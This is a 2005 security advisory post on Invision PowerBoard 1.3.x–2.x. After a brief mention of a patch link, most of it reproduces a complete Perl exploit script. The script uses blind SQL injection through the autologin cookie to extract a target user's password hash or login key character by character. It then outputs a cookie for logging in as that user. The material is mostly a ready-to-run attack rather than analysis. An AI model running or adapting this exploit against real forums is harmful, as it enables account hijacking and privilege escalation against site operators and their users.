[HSC Security Group] Invision PowerBoard 1.3.x - 2-x Exploit and Patch

zinho_at_hackerscenter.com
Date: 07/16/05

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    Zinho's Security Advisory

    Desc: Invision PowerBoard 1.3.x - 2.x Privilege escalation through SQL injection
    Risk: High

    hacky0u from http://www.h4cky0u.org kindly reported to me an exploit working against 1.3.x and 2.x versions of Invision Power board.

    I've coded a quickfix to patch it:
    http://www.hackerscenter.com/archive/view.asp?id=3812

    This is the exploit (Full credit to h4cky0u for it):
    #!/usr/bin/perl -w

    ##################################################################
    # This one actually works :) Just paste the outputted cookie into
    # your request header using livehttpheaders or something and you
    # will probably be logged in as that user. No need to decrypt it!
    # Exploit coded by "ReMuSOMeGa & Nova" and http://www.h4cky0u.org
    ##################################################################

    use LWP::UserAgent;

    $ua = new LWP::UserAgent;
    $ua->agent("Mosiac 1.0" . $ua->agent);

    if (!$ARGV[0]) {$ARGV[0] = '';}
    if (!$ARGV[3]) {$ARGV[3] = '';}

    my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin';
    my $user = $ARGV[1]; # userid to jack
    my $iver = $ARGV[2]; # version 1 or 2
    my $cpre = $ARGV[3]; # cookie prefix
    my $dbug = $ARGV[4]; # debug?

    if (!$ARGV[2])
    {
    print "..By ReMuSoMeGa & Nova. Usage: ipb.pl http://forums.site.org [id] [ver 1/2]. ";
    exit;
    }

    my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");

    my $outputs = '';

    for( $i=1; $i < 33; $i++ )
    {
    for( $j=0; $j < 16; $j++ )
    {
    my $current = $charset[$j];
    my $sql = ( $iver < 2 ) ? "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527$current%2527)/*" :
    "99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2527)/*";
    my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql);
    my $res = $ua->get($path, @cookie);

    # If we get a valid sql request then this
    # does not appear anywhere in the sources
    $pattern = '<title>(.*)Log In(.*)</title>';

    $_ = $res->content;

    if ($dbug) { print };

    if ( !(/$pattern/) )
    {
    $outputs .= $current;
    print "$current ";
    last;
    }

    }
    if ( length($outputs) < 1 ) { print "Not Exploitable! "; exit; }
    }
    print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs;
    exit;

    # www.h4cky0u.org

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